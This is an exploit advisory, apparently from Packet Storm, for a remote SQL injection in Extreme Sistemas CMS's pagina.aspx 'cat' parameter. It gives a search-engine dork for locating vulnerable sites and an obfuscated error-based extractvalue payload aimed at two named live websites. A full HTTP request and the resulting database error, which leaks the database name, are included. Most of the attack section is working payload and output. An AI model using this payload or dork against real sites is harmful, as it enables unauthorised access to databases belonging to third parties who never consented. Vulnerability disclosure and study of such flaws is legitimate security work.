Extreme Sistemas CMS SQL Injection

Extreme Sistemas CMS versions as of 2019/05/08 suffer from a remote SQL injection vulnerability.


MD5 | a8507e89ac978c3224782a54ae5f92bd

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[+] Sql Injection on Extreme Sistemas CMS 

[+] Date: 08/05/2019

[+] Risk: High

[+] CWE Number : CWE-89

[+] Author: Felipe Andrian Peixoto

[+] Vendor Homepage: http://www.extremesistemas.com.br/criacao-de-sites

[+] Contact: [email protected]

[+] Tested on: Windows 7 and Gnu/Linux

[+] Dork: inurl:"pagina.aspx?cat=" // use your brain ;)

[+] Exploit : 

        http://host/patch/pagina.aspx?cat= [SQL Injection]

[+] PoC : 
 
   http://www.advlink.com.br/pagina.aspx?cat=pagina.aspx?cat=-1%27/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-
   http://www.automecanicamiguel.com.br/pagina.aspx?cat=pagina.aspx?cat=-1%27/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-

[+] Example:

  GET /pagina.aspx?cat=pagina.aspx?cat=-1%27/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+- HTTP/1.1
  Host: www.advlink.com.br
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate
  Cookie: _pk_id.21751.d41e=b782be8e411c8dd2.1557328531.1.1557329566.1557328531.; _pk_ref.21751.d41e=%5B%22%22%2C%22%22%2C1557328531%2C%22https%3A%2F%2Fwww.google.com%2F%22%5D; _pk_ses.21751.d41e=*; ASP.NET_SessionId=sem1hd45eqorbv55oayy3y45
  DNT: 1
  Connection: keep-alive
  Upgrade-Insecure-Requests: 1

  ERROR [HY000] [MySQL][ODBC 5.1 Driver][mysqld-5.6.35-81.0-log]XPATH syntax error: 's3x0u:advlink_novo:s3x0u'

  .........
   
[+] EOF

Source: packetstormsecurity.com
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